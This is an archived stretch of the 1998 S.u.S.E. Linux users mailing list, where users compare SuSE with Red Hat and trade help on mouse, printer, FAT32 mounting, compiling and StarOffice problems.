with=20
>slackware and switched to RH5.0 last December.  I have been mostly=20
happy with
>RH5.0 and considered upgrading to RH5.1, but the rh list has been=20
filled with woes of upgrading.  I have heard good things about suse. =20
that is why I joined
>this list.  I wanted to get a feel for the number and kinds of problems=20
suse users are encountering.  I am trying to pick the best distribution=20
for my home, but also for work.  we are considering changing our=20
internet server from sco to
>linux.  any former rh 5.0 users out there?  what are your opinions of=20
suse?
>any opinions are welcome.  thanks.

I had a lot of trouble trying to install RH5.0.  In the end I gave
up and went with SuSE, which installed and ran virtually out of the
box.

Cheers,
         Marc.

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From sodah@qatar.net.qa Fri Jun 26 11:37:47 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 14:37:47 +0300
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KEEP UP THE GOOD WORK!

bye
-fadi

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From hekate@intergate.bc.ca Fri Jun 26 11:48:54 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 04:48:54 -0700
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Question: why when discussing the great dist that is SuSE, must RH ALWAYS
inevitably come up?=20

On Fri, 26 Jun 1998, Marc Bouron wrote:

> Date: Fri, 26 Jun 1998 11:18:10 GMT
> From: Marc Bouron 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>=20
>=20
> >Hello suse users,
> >
> >I am a current redhat 5.0 user and have been debating changing over to=20
> suse
> >I have been using linux since the days of the 1.2 kernel.  I started=20
> with=20
> >slackware and switched to RH5.0 last December.  I have been mostly=20
> happy with
> >RH5.0 and considered upgrading to RH5.1, but the rh list has been=20
> filled with woes of upgrading.  I have heard good things about suse. =20
> that is why I joined
> >this list.  I wanted to get a feel for the number and kinds of problems=20
> suse users are encountering.  I am trying to pick the best distribution=20
> for my home, but also for work.  we are considering changing our=20
> internet server from sco to
> >linux.  any former rh 5.0 users out there?  what are your opinions of=20
> suse?
> >any opinions are welcome.  thanks.
>=20
> I had a lot of trouble trying to install RH5.0.  In the end I gave
> up and went with SuSE, which installed and ran virtually out of the
> box.
>=20
> Cheers,
>          Marc.
>=20
>=20
>=20
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From mhtexcollins@ccms.net Fri Jun 26 12:22:26 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 07:22:26 -0500
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I too went to regester and couldn't find out where?  Please, where?
Thanks.

Leon McClatchey wrote:
>=20
> Steven T. Hatton wrote:
>=20
> > [Image] Yo Bill!  Doo-bee, doo-bee, doo.
>=20
> >
>=20
> How did you get this image and counter registration in your email?  I
> just recently registered myself, but can't find the image (though I do
> know my number:-)  and would like to append it to my signature?
>=20
> Thanx Loads:-)
>=20
> --
> cya l8r
> Leon McClatchey
> leonmcclatchey(a)homemail.com
> (Linux Box)
>=20
>=20


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From nelsen@telusplanet.net Fri Jun 26 13:15:03 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help
Date: Fri, 26 Jun 1998 07:15:03 -0600
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At 6/25/1998, you wrote: 

>
> I am a newbie. I just bought SUSE 5.2, its great, I installed it but I am
> having problems configuring my mouse in XF86Setup; none of the  dev/?? seem
> to work. It is a Microsoft Serial Mouse 2.0A (they stop making them in 93 I
> believe.) Set at com 1.  Second, how do I make a lilo bootdisk from linux.

1) On mine it was something like:
        # yast 
        system admin 
        integrate hardware 
        config mouse
        MS serial mouse

2) Also making a boot disk is an option in yast
        
Hope this helps.  I'm green as well.  You may also wish to join the SuSE
listserver that is used by SuSE users instead of a usenet group.  You can join
on the SuSE web page.  Email me [anyone] if you need anything further
regarding
this.

Dave

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From eck@ti.com Fri Jun 26 13:37:57 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject:
 [S.u.S.E. Linux] Need help setting up STAR NX1000 Printer (Epson comp)
Date: Fri, 26 Jun 1998 08:37:57 -0500
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Up until last night I was able to print files to my epson compatable
STAR printer using kedit (KDE). I installed StarOffice and tried to
print a document, no go. I then ran yast and found that I could not
configure my dot matrix printer to be used as a postscript printer,
yast said I needed to install ghostview. I next installed all the
related ghostview (gs) programs and yast now lets me configure the
printer. I select epson and /dev/lp1. Tried printing from kedit and
garbage comes out of the printer. I played around with a few other
printer type (STAR is suppose to be compatable with IBM Pro) without
good results. Currenty when I print from kedit the output to the printer
is sideways with 2 pages printed per page using very tiny font. Nothing
happens when I try to print from StarOffice.

If someone is using either a STAR NX1000 or Epson (LX800) printer 
with success please email me how to set it up. Also, I have RedHat 4.2
on another partition and had this printer working correctly for kedit
and StarOffice. I tried copying RedHats /etc/printcap to SuSE but this
did not work. I'm running SuSE 5.2. 

Thanks
Terry

_____________________________________________________________________________
Terry Eck        //// Hukt on Foniks Rilly Wurkt Fer Mee! ////

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From nelsen@telusplanet.net Fri Jun 26 13:38:48 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Fri, 26 Jun 1998 07:38:48 -0600
Message-ID: <98Jun26.072901-0600_mdt.268061-12136+54@mail.telusplanet.net>
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At 6/25/1998, you wrote:
>
...........[major snip]............................The NG's, Web
>sites, and mailing lists covered everything I needed to know. 
>
>Ken
>-- 
Good point and one that I need to keep in mind.  Linux is very netcentric.
If you look at the typical Windows user, s/he probably doesn't spent many
hours per week in user groups and such.  But who goes downtown and grabs a
copy of "Linux98", just plops it on and goes back to playing games or
whatever?  We are in a net community, rather than individuals with pulp
based books.  And that's a very good thing.

Dave
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From satan3@home.com Fri Jun 26 14:13:23 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 09:13:23 -0500
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I ran redhat 5.0 for three weeks when it first came out.  In SuSE the
user has far more control over the install process for one thing, as
well as a nicer selection of software to start out with.  My problem
with redhat, and in all fairness to redhat this is a glibc2 related
problem and not a redhat flaw, is that hardly anything I wanted to
compile would compile on it.  Part of my loyalty to SuSE rests on the
fact that the only thing that has given me a rough time compiling has
been gnome.  Now that I have cable I am going to download Debian2 just
to try it, but I am so happy with SuSE I am more interested in test
driving other unices like openbsd and netbsd than I am other
distributions of linux.=20

Stephen Brennan wrote:
>=20
> Hi There,
>=20
>         I Had nothing but troubles from Redhat 5.1 even when I got RedHat 5=
.0 to
> work I had one problem or another pop up ever few days with configuration.
> I have used SlackWare, RH, adn Debian. S.u.S.e blew my mind, after hearing
> it mentioned around the place I decided to grab a copy and I have to say,
> IT BLEW ME AWAY. Not only was it easier to install (in my opinion) than RH
> but it did not sacrifice performance or features. It retains the usability
> for newer user with the use of RH with the RPM format but still packs the
> same punch of more powerful distributions such as Debian and Slakware which
> are leaner and meaner than RH.
>=20
>         Mind you, I dont dis-lick RH, infact they are giving Linux a good n=
ame to
> the general public and I know more and more friends and collegues are
> talking about going to linux but in all honesty S.u.S.e has just soo many
> advantages and I feel that its installation is easier and more powerful
> that the RH pachages.
>=20
> Cheers All
> Stephen Brennan
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From satan3@home.com Fri Jun 26 14:25:35 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: Cable Modem and Linux (was Re: [S.u.S.E. Linux] Diald)
Date: Fri, 26 Jun 1998 09:25:35 -0500
Message-ID: <3593AF5F.A1B29B7A@home.com>
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I like pricewatch when I'm shopping for the best price, but for most of
my accessories I buy from http://www.necx.com>.  They are competitive,
and once you set up an account with them all you need is your login and
password, the credit card transaction is a one-time deal on a secure
server.  The card I bought was a Kingston kne40t and was $32.95.

cbebber(a)infinet-is.com wrote:
>=20
> On Thu 25 Jun at 21:04:33 -0500 satan3(a)home.com done said:
> >
> > I got a DEC 21041 based card, because from the brief amount of research
> > I did it seemed the DEC tulip driver was a good choice for linux.  I
> > just compiled a fresh kernel with ethernet and DEC tulip support
> > compiled in, and IP accounting so I could run a network monitor in place
> > of the modem lights I was used to.  Then I set up my networking device
> > in YaST, and bam, I was online.  It was real easy.
>=20
> So where did you pick up this little feller?  Did you get it online via like
> a pricewatch.com-esque site or what?  And if you don't mind me asking, how
> much did it end up running you?  (You don't have to answer that if you don't
> want).  (Hell, I guess you don't have to answer ANY of those if you don't
> want!) :)
>=20
> -Charlie
>=20
> --
> WWW: http://www.ecst.csuchico.edu/~cbebber>
> PGP: 768/2F9B4879  35 93 D1 42 D0 45 44 CB  E7 8F 64 37 FB FD 54 5C
>=20
> There comes a time in the affairs of a man when he has to take the bull
> by the tail and face the situation.
>                 -- W.C. Fields
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From roberto@cbvcp.com Fri Jun 26 14:41:51 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Mounting Fat32 Partitions **URGENT PLS**
Date: Fri, 26 Jun 1998 07:41:51 -0700
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Stephen Brennan wrote:
>=20
> Ok,
>=20
>         Let me set the scene. I have SuSe 5.2 installed, I have also snagge=
d a
> copy of the updated kernel (2.0.24) from the suse ftp site but I have not
> compiled it yet. Does anyone know how I would mount a Fat32 Partition
> please.

Yes, but you have to tell us how the yast mount went.  that is the
easiest way.


--=20
Aaron Seelye
http://revolution.3-cities.com/~roberto>
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From schlicht@chaffee.net Fri Jun 26 15:33:51 1998
From: schlicht@chaffee.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 09:33:51 -0600
Message-ID: <98062609414400.00277@chaffee>
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On Thu, 25 Jun 1998, you wrote:
>Hello suse users,
>
>I am a current redhat 5.0 user and have been debating changing over to suse
>I have been using linux since the days of the 1.2 kernel.  I started with=20
>slackware and switched to RH5.0 last December.  I have been mostly happy with
>RH5.0 and considered upgrading to RH5.1, but the rh list has been filled wit=
h woes of upgrading.  I have heard good things about suse.  that is why I joi=
ned
>this list.  I wanted to get a feel for the number and kinds of problems suse=
 users are encountering.  I am trying to pick the best distribution for my ho=
me, but also for work.  we are considering changing our internet server from =
sco to
>linux.  any former rh 5.0 users out there?  what are your opinions of suse?
>any opinions are welcome.  thanks.
>
Hi:
        I am also a former RH5 user, and I gave up on it, switching to SuSE
because of multiple problem with glibc enclosed in that new RH, followed by
poor (and very slow) tech support when trying to work around the problems.

        SuSE has been much better and quicker in helping me solve
installation problems.

      And, SuSE has been very stable and robust once my install problems
were fixed.  YAST takes a little getting used to, though.

 >
>
>___________________
>
>Jt
>


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From sodah@qatar.net.qa Fri Jun 26 15:37:45 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Multi-CPU
Date: Fri, 26 Jun 1998 18:37:45 +0300
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HI

Does Linux support Multi-CPU?
if yes, where can i get more info about
Linux and multi-CPU configurations?

thx in advance.

bye
-fadi

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From sodah@qatar.net.qa Fri Jun 26 16:14:40 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Kpppload
Date: Fri, 26 Jun 1998 19:14:40 +0300
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hi

i am using KDE4 and SuSE-Linux 5.1, i dowloaded kpppload-1.03.tar.gz.
when i tried to install it got the msg(would u pls be so kind and have a
look
at the following attachments!):

lifebook:/usr/local/kpppload-1.03 # make
make: *** No targets.  Stop.

lifebook:/usr/local/kpppload-1.03 # ./install-sh
install:        no input file specified

lifebook:/usr/local/kpppload-1.03 # ./configure
loading cache ./config.cache
checking host system type... i586-pc-linux-gnu
checking target system type... i586-pc-linux-gnu
checking build system type... i586-pc-linux-gnu
checking for a BSD compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for working aclocal... missing
checking for working autoconf... missing
checking for working automake... missing
checking for working autoheader... missing
checking for working makeinfo... found
checking whether make sets ${MAKE}... yes
checking for gcc... gcc
checking whether the C compiler (gcc -O2 -Wall -s) works... yes
checking whether the C compiler (gcc -O2 -Wall -s) is a
cross-compiler... no
checking whether we are using GNU C... yes
checking whether gcc accepts -g... yes
checking how to run the C preprocessor... gcc -E
checking for c++... no
checking for g++... no
checking for gcc... gcc
checking whether the C++ compiler (gcc -O2 -Wall -s) works... no
configure: error: installation or configuration problem: C++ compiler
cannot create executables.

thx in advance
bye
-fadi

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From rb@suse.de Fri Jun 26 16:57:37 1998
From: rb@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Multi-CPU
Date: Fri, 26 Jun 1998 18:57:37 +0200
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Hi,

>Does Linux support Multi-CPU?
>if yes, where can i get more info about
>Linux and multi-CPU configurations?

See e.g. the information at=20
http://www.uk.linux.org/SMP/title.html>

Have a nice day,
Ruediger Berlich (Ruediger.Berlich(a)suse.de)

------------------------------------------------------------
S.u.S.E. GmbH,    Gebhardtstr. 2,   90762 Fuerth,    Germany
Tel: +49-911-3247130 Mo/Do 13-18.00,    Fax: +49-911-3206727
http://www.suse.de/Support/sdb>        Email: support(a)su=
se.de
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From Stuart@Cyberdude.com Fri Jun 26 17:05:09 1998
From: Stuart@Cyberdude.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Mounting Fat32 Partitions **URGENT PLS**
Date: Fri, 26 Jun 1998 17:05:09 +0000
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Stephen Brennan wrote:

> Ok,
>
>         Let me set the scene. I have SuSe 5.2 installed, I have also snagge=
d a
> copy of the updated kernel (2.0.24) from the suse ftp site but I have not
> compiled it yet. Does anyone know how I would mount a Fat32 Partition
> please.
>
> Cheers
> Stephen Brennan
> -

Ok assuming these FAT32 drives are your windows95 pations the best way i have
found to mount them is as follows....

type  mount -t vfat /dev/hd(letter+number) /mnt
take a look what drive that is (c,d....) then mkdir /dosc /dosd....

now you wan't to write to the fstab in /etc
put something along the lines of the following..

/dev/hd(letter+number)  /mount-point(/dosc....)         noauto
vfat                0 0
                                                          don't automount
/                     ^                    ^
  Let the kernel know its a windows VFAT drive (FAT OR FAT32)
-|                    |
  Now set a dump frequency of 0 and an fsck off (the fsck for dos is still bu=
ggy)
-|

That should work...
if you don't want users with read access to the windows drives at all
an idea would be to make the directory /win/ add the drive letters inside it
/win/c/ win/d/.. and then
chmod 0700 /win

p.s all the above HAS to be done as root

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From Stuart@Cyberdude.com Fri Jun 26 17:06:46 1998
From: Stuart@Cyberdude.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] CDR-FS
Date: Fri, 26 Jun 1998 17:06:46 +0000
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Does anyone know of a driver for the HP CD-R drives ?

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From hekate@intergate.bc.ca Fri Jun 26 17:43:48 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 10:43:48 -0700
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me neither.

On Fri, 26 Jun 1998, Ken Schuller wrote:

> Date: Fri, 26 Jun 1998 19:18:43 -0500
> From: Ken Schuller 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
> 
> 
> Joseph Beaman wrote:
> > SUSE
> > is more readily configurable in terms of its Windows Managers, etc, but
> > RedHat seems to have fewer difficulties coexisting with other operating
> > systems (like Win95 or WinNT).  
> 
> Care to elaborate?  I haven't had any difficulties at all-  I'm curious
> about what you're referring to.
> 
> Ken
> -- 
> 
> Ken Schuller
> 
> Network Systems Specialist
> 
> NovaNET Learning, Inc.
> 
>  Take out the spam foil to reply via e-mail. 
> 
> Incidentally, I speak for me.  That's all.  No one else.
> 
> Linux-  the best things in life are free! (Or at least GPL'ed...)
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From vhearn@wenet.net Fri Jun 26 18:20:38 1998
From: vhearn@wenet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Problem whit Yast.
Date: Fri, 26 Jun 1998 11:20:38 -0700
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SuSE 5.2 avoids many problems and i long await SuSE 5.3~6

Fjoe wrote:

> Hello friends.
>  SuSE
> 5.1.
> As I can avoid that every time that Linux pulls up SuSe 5.10
> fmc(a)redestb.es
>

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From darkway@hotmail.com Fri Jun 26 19:24:31 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Are 'Gigabyte' Motherboards universaly compatiable
Date: Fri, 26 Jun 1998 12:24:31 -0700
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Hello I would like to say first how when installing any linux with pci=20
bios access support enabled the system reboots on me.
So secondly i would like to say i'm concidering buying a new motherboard
i found one for my amd K6 200 MHz by a brand "Gigabyte"
I would like to know if this motherboard is compatiable or I would be=20
wasting my money.

Please reply.

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From jpcowh01@ox.slug.louisville.edu Fri Jun 26 20:03:04 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 16:03:04 -0400
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> Hello suse users,
>=20
> I am a current redhat 5.0 user and have been debating changing over to suse

        I worked with RH 4.2 and Slackware 3.0; SuSE is the has the easiest a=
nd most intuitive setup/install/configurations.

> any opinions are welcome.  thanks.

        SuSE has a setup util called YaST and it's pretty straight forward if=
 you understand what it's doing.  Since you have RH experience, then you'll a=
ppreciate what SuSE has to offer.  I am running SuSE 5.2 right now.  I use Su=
SE's kernal source.

        The problem with SuSE is that it does so much for you, that if you ev=
er have to get down to lower level hacking, you can easily get lost to what's=
 placed where (every distribution likes to their config files in differant pl=
aces...)

        I haven't met anyone that was honestly dissappointed.

                                                                             =
                                                                             =
                      Jonathan


--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                            =
         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
                  http://www.slug.louisville.=
edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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From cher@vitnet.com.sg Fri Jun 26 20:03:33 1998
From: cher@vitnet.com.sg
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Subject: [S.u.S.E. Linux] get me out of here!@
Date: Sat, 27 Jun 1998 04:03:33 +0800
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how the hell did i get on this list???? Someone, please unsubscribe me!!!!

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From jpcowh01@ox.slug.louisville.edu Fri Jun 26 20:11:51 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Are 'Gigabyte' Motherboards universaly compatiable
Date: Fri, 26 Jun 1998 16:11:51 -0400
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> Hello I would like to say first how when installing any linux with pci=20
> bios access support enabled the system reboots on me.

        Are you using a pentium?  Do you have a special chipset?  Have you tr=
ied changing your bios settings to failsafe?

        Have you looked to see if there't a bug fix for your bios?  Have you =
tried compiling a kernel on a differant machine and porting it to you machine?
       =20
> So secondly i would like to say i'm concidering buying a new motherboard
> i found one for my amd K6 200 MHz by a brand "Gigabyte"
> I would like to know if this motherboard is compatiable or I would be=20
> wasting my money.

        I used to have a gigabyte motherboard (486DX266 with PCI bus).  I per=
sonally feel gigabyte bioses are well supported.  I bought another because I =
couldn't get a bios upgrade to support EIDE (off board, and I didn't want to =
by a controller card.  It would have costed the same as a Pentium 133 and boa=
rd).
        I think they're cheap, and I probably won't buy another.

        http://www.giga-byte.com>
        http://www.giga-byte.com.tw>
       =20

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                                      Jonathan

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edu/~jpcowh01>

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From brauki@cityweb.de Fri Jun 26 20:16:30 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 22:16:30 +0200
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TEX wrote:
>=20
> I too went to regester and couldn't find out where?  Please, where?
> Thanks.
>=20

http:/=
/counter.li.org>

then, just press register.

J=C3=BCrgen

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From satan3@home.com Fri Jun 26 20:17:13 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Kpppload
Date: Fri, 26 Jun 1998 15:17:13 -0500
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Fadi Sodah wrote:

> checking for working autoconf... missing
> checking for working automake... missing

You should install autoconf and automake.

> checking for c++... no
> checking for g++... no

You also need to install gpp.
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From darkstar@charm.net Fri Jun 26 20:17:59 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Sane And GTK
Date: Fri, 26 Jun 1998 16:17:59 -0400
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So I configured my scanner, and want to use it.
I wanted to use gimp and ran into a problem because xscanimage was not
available. When I tried to remake, it complained that gtk-config was not
available on my system. After doing a 'find' on the complete system, I
realized it wasn't there although gtk was installed.

I downloaded the latest version of gtk, ran ./configure and then did a
make. Viola, the gtk-config file was available.

I did a ./configure in the sane directory, and I got an error that it
could not find gtk and it advised I check my path or set GTK_CONFIG to the
path of the gtk-config file. I chose the latter option. I also note taht
when I did a make, no bin directory was created for gtk, however I had no
make errors.

Now, when I try to make sane again, I still get the same errors concerning
GTK.

Does anyone know what is happening?


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From northsky@deckard.coldfish.com.suse.de Fri Jun 26 20:35:43 1998
From: northsky@deckard.coldfish.com.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Fri, 26 Jun 1998 16:35:43 -0400
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On Fri, 26 Jun 1998, Fred A. Miller wrote:

> If you ever use StarOffice, you'll never use anything else again.  I
> bought the distribution......WELL worth it!  I'm moving in the direction
> of removing ALL MS from our systems at work, and StarOffice will replace
> MS Office.
Hmm. I haven't had such luck. I've found StarOffice slow and crash-prone.
Twice as slow as MSOffice95 and significantly more crashes. It is just
like using Office 98 on a 386 with <=8MB RAM! On a machine with 24, it
takes a shamefully long time to load, to even get itself together and
start looking for X! It takes up an immense amount of space -- a Microsoft
amount of space, and will often stop responding and occasionally just bomb
out when I try to perform some given operation. With as much swap as I
have, it shouldn't do this at all. I can't even fathom the pain if I were
running Enlightenment.

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From schullersite@NOSPAMworldnet.att.net.suse.de Fri Jun 26 20:59:01 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] get me out of here!@
Date: Fri, 26 Jun 1998 15:59:01 -0500
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Cher Ng wrote:
> 
> how the hell did i get on this list???? Someone, please unsubscribe me!!!!
> 
> cher
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There's a hint.  :)

Ken


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From mroseberry@kih.net Fri Jun 26 21:18:50 1998
From: mroseberry@kih.net
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Are 'Gigabyte' Motherboards universaly compatiable
Date: Fri, 26 Jun 1998 16:18:50 -0500
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You may want to check out AMD's site first. They have a list of
"recommended" motherboards.

I wound up with a Tyan and a K6-266.  So far, so good...

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From mhtexcollins@ccms.net Fri Jun 26 22:19:30 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 17:19:30 -0500
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I guess that means that it is the one to beat. =20

hekate(a)intergate.bc.ca wrote:
>=20
> Question: why when discussing the great dist that is SuSE, must RH ALWAYS
> inevitably come up?
>=20
> On Fri, 26 Jun 1998, Marc Bouron wrote:
>=20
> > Date: Fri, 26 Jun 1998 11:18:10 GMT
> > From: Marc Bouron 
> > Reply-To: suse-linux-e(a)suse.com
> > To: suse-linux-e(a)suse.com
> > Subject: Re: [S.u.S.E. Linux] thinking about suse
> >
> >
> > >Hello suse users,
> > >
> > >I am a current redhat 5.0 user and have been debating changing over to
> > suse
> > >I have been using linux since the days of the 1.2 kernel.  I started
> > with
> > >slackware and switched to RH5.0 last December.  I have been mostly
> > happy with
> > >RH5.0 and considered upgrading to RH5.1, but the rh list has been
> > filled with woes of upgrading.  I have heard good things about suse.
> > that is why I joined
> > >this list.  I wanted to get a feel for the number and kinds of problems
> > suse users are encountering.  I am trying to pick the best distribution
> > for my home, but also for work.  we are considering changing our
> > internet server from sco to
> > >linux.  any former rh 5.0 users out there?  what are your opinions of
> > suse?
> > >any opinions are welcome.  thanks.
> >
> > I had a lot of trouble trying to install RH5.0.  In the end I gave
> > up and went with SuSE, which installed and ran virtually out of the
> > box.
> >
> > Cheers,
> >          Marc.
> >
> >
> >
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From deem@wdm.com Fri Jun 26 22:20:02 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Fri, 26 Jun 1998 14:20:02 -0800
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Lawrence Sayre  wrote:
> 
> Is StarOffice 4.0 as slow on yours system as on mine?  Granted it works
> well, but it takes about a minute just for the opening StarOffice screen
> to show up on my system, which has a Matrox Millenium and a Cyrix P200+
> processor.  Nothing else is even near as slow.

OK..I have the following hardware presently:

AMD-K6 300Mhz CPU
192megs PC-100 ram
Seagte Baracuda 4.1gig SCSI
Adapetc 2940UW
Matrox Millenium I 8meg (Accelx 3.1)

StarOffice 4.0 loaded the splash screen in 6 seconds and came up
with the full screen in 13 seconds. This after I had opened it
earlier today and it much longer the first time.

Regards
-Dee

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From lsayre@integrityonline13.com Fri Jun 26 22:22:17 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Fri, 26 Jun 1998 17:22:17 -0500
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Fred A. Miller wrote:
> 
> C. J. Kenneth Tan wrote:
> >
> > Steve,
> >
> > I know that there is a version of Mathematica for Linux available.  For
> > office suite, you may want to take a look at ApplixWare or StarOffice or
> > WordPerfect Office.  I have ApplixWare installed on one of my machines for
> > a few users but I don't use it myself -- I use LaTeX.
> 
> [snip]
> 
> If you ever use StarOffice, you'll never use anything else again.  I
> bought the distribution......WELL worth it!  I'm moving in the direction
> of removing ALL MS from our systems at work, and StarOffice will replace
> MS Office.
> 
> Fred
> 
> --
> Fred A. Miller, Systems Administrator
> Cornell Univ. Press Services
> fmiller(a)lightlink.com
> fm(a)cupserv.org
> -

Is StarOffice 4.0 as slow on yours system as on mine?  Granted it works
well, but it takes about a minute just for the opening StarOffice screen
to show up on my system, which has a Matrox Millenium and a Cyrix P200+
processor.  Nothing else is even near as slow.
 
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Man's mind is his basic tool of survival!

Lawrence Sayre 
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From beamanj@novaquest.com Fri Jun 26 22:57:21 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 15:57:21 -0700
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I use both RedHat 5.0 and SUSE 5.2.  Which is better?  Good question.  SUSE
is more readily configurable in terms of its Windows Managers, etc, but
RedHat seems to have fewer difficulties coexisting with other operating
systems (like Win95 or WinNT).  SUSE has a lot of little touches that kinda
make me lean toward it as my linux of choice, but then again RedHat
(particularly in terms of instalation) seems a bit "cleaner" to me...
Go figure

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of TEX
> Sent: Friday, June 26, 1998 3:20 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>
>
>
> I guess that means that it is the one to beat.
>
> hekate(a)intergate.bc.ca wrote:
> >
> > Question: why when discussing the great dist that is SuSE, must
> RH ALWAYS
> > inevitably come up?
> >
> > On Fri, 26 Jun 1998, Marc Bouron wrote:
> >
> > > Date: Fri, 26 Jun 1998 11:18:10 GMT
> > > From: Marc Bouron 
> > > Reply-To: suse-linux-e(a)suse.com
> > > To: suse-linux-e(a)suse.com
> > > Subject: Re: [S.u.S.E. Linux] thinking about suse
> > >
> > >
> > > >Hello suse users,
> > > >
> > > >I am a current redhat 5.0 user and have been debating
> changing over to
> > > suse
> > > >I have been using linux since the days of the 1.2 kernel.  I started
> > > with
> > > >slackware and switched to RH5.0 last December.  I have been mostly
> > > happy with
> > > >RH5.0 and considered upgrading to RH5.1, but the rh list has been
> > > filled with woes of upgrading.  I have heard good things about suse.
> > > that is why I joined
> > > >this list.  I wanted to get a feel for the number and kinds
> of problems
> > > suse users are encountering.  I am trying to pick the best
> distribution
> > > for my home, but also for work.  we are considering changing our
> > > internet server from sco to
> > > >linux.  any former rh 5.0 users out there?  what are your opinions of
> > > suse?
> > > >any opinions are welcome.  thanks.
> > >
> > > I had a lot of trouble trying to install RH5.0.  In the end I gave
> > > up and went with SuSE, which installed and ran virtually out of the
> > > box.
> > >
> > > Cheers,
> > >          Marc.
> > >
> > >
> > >
> > > ______________________________________________________
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From punt@gte.net Fri Jun 26 23:03:30 1998
From: punt@gte.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Fri, 26 Jun 1998 19:03:30 -0400
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Well, I agree.  Star Office is slow on my machine (AMD 200K6, IBM ultra Wide
SCSI drive with adaptec 2940 UW.  Applixware is significantly faster, plus
prints to my printer (Star only does PS, yea I know I can configure gs or
aspfilter, but I don't have to do anything for Applixware for my DJ-550c)!

> Lawrence Sayre  wrote:
> >
> > Is StarOffice 4.0 as slow on yours system as on mine?  Granted it works
> > well, but it takes about a minute just for the opening StarOffice screen
> > to show up on my system, which has a Matrox Millenium and a Cyrix P200+
> > processor.  Nothing else is even near as slow.
> W.D.McKinney (Dee) -=- deem(a)wdm.com
> No claim to fame, just saved by Grace.

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From schullersite@NOSPAMworldnet.att.net.suse.de Sat Jun 27 00:18:43 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 19:18:43 -0500
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Joseph Beaman wrote:
> SUSE
> is more readily configurable in terms of its Windows Managers, etc, but
> RedHat seems to have fewer difficulties coexisting with other operating
> systems (like Win95 or WinNT).  

Care to elaborate?  I haven't had any difficulties at all-  I'm curious
about what you're referring to.

Ken

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From beamanj@novaquest.com Sat Jun 27 00:51:03 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 17:51:03 -0700
Message-ID: <000401bda165$a90be5e0$0100a8c0@starfleet.pacbell.net>
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Sure,

I have windows 95 installed on the first partition of my hard drive.  I am
using partition magic 3.0, and it's boot manager is installed on the second
partition. The third partition is my linux swap partition, and finally I
